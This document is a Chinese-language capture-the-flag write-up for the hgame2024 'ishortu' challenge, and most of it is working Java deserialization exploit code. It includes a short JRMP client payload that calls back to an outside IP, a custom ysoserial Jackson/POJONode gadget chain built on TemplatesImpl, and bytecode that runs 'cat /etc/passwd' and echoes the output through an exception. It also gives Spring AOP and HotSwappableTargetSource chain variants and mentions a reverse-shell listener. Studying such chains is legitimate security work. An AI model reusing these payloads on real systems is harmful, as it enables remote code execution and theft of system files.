hgame2024 ishortu
ishortu1
长度限制220,随便yso反序列化一个链都是四位数的,所以这里肯定是JRMP绕了,JRMPClient直接用yso的过长,所以手动写一个
public class Test {
public static void base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
String base64exp = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(base64exp);
System.out.println(base64exp.length());
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
// rmi jdk8u202(jdk8)
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("8.129.42.140", 5003);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
base64encode_exp(obj);
}
}
长度220左右(如果依旧太长,需要将自己的ip进行十六进制编码)
然后找反序列化链子,一看spring+jdk8基本上锁定JacksonGetter这条链(最早出现于2022阿里云ctf)
BadAttributeValueExpException#toString/构造方法->POJONode#toString->templateImpl#getObject
由于需要用到yso所以二开一下,在payload包下写Jackson链子
payload/JacksonGetter
package ysoserial.payloads;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
/*
BadAttributeValueExpException#toString/构造方法->POJONode#toString->templateImpl#getObject
*/
public class JacksonGetter extends PayloadRunner implements ObjectPayload<Object>{
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", node);
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(JacksonGetter.class, args);
}
}
写好后,本地测试无问题,打包(注意依赖可能需要手动添加)后启动监听
这样说明可以了,就放到vps监听就好(多开一个端口接受反弹shell的命令)
然后发送payload就好
ishortu2
不出网,考虑内存马
这里由于长度的问题,所以也不会选择yso上二开,自己写
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
import java.util.Random;
public class Test {
public static void base64encode_exp(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
String base64exp = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(base64exp);
System.out.println(base64exp.length());
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
constructor.setBody("throw new Exception(new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).next());");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 删除 jsonNode 的 writeReplace
try {
ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", node);
serialize(val);
base64encode_exp(val);
unserialize("ser1.bin");
}
}
为了起到回显的作用,耍了个滑头
通过抛出异常的方式进行回显,不是真正的内存马
试一下内存马吧,超长度了,还得努努力
赛后
学到一个更稳定的链子,
Object proxyObj = makeTemplatesImplAopProxy(templates);
// POJONode node = new POJONode(templates);
POJONode node = new POJONode(proxyObj);
makeTemplatesImplAopProxy
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
这样可以稳定触发
然后看到一些新的入口
还没调试,但最近看到很多这种MakeMap的做法了(作为入口),学了一下,就是HotSwappableTargetSource & XString,这个spring可用
利用特殊反序列化组件攻击原生反序列化入口 - 先知社区 (aliyun.com)
这个spring可用
/*
HotSwappableTargetSource & XString
*/
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(node);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString(null));
HashMap val = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
makeMap函数
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
frp流量转发
刚刚学弟过来问怎么打包jar出bug,解决完后意识到其实不用打包也可以打
java -jar xxxx.jar cc1 'calc'
在idea可替换为如下运行class命令
这种可以替换为
后面就直接运行即可,然后代理转发一下就好,挺方便(应付题目可以,实战太危险且不优雅)
reference
官方题解:https://github.com/vidar-team/HGAME2024_Writeup/tree/main
JRMP:ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener - 先知社区 (aliyun.com)
缩短反序列化payload:终极Java反序列化payload缩小技术-阿里云开发者社区 (aliyun.com)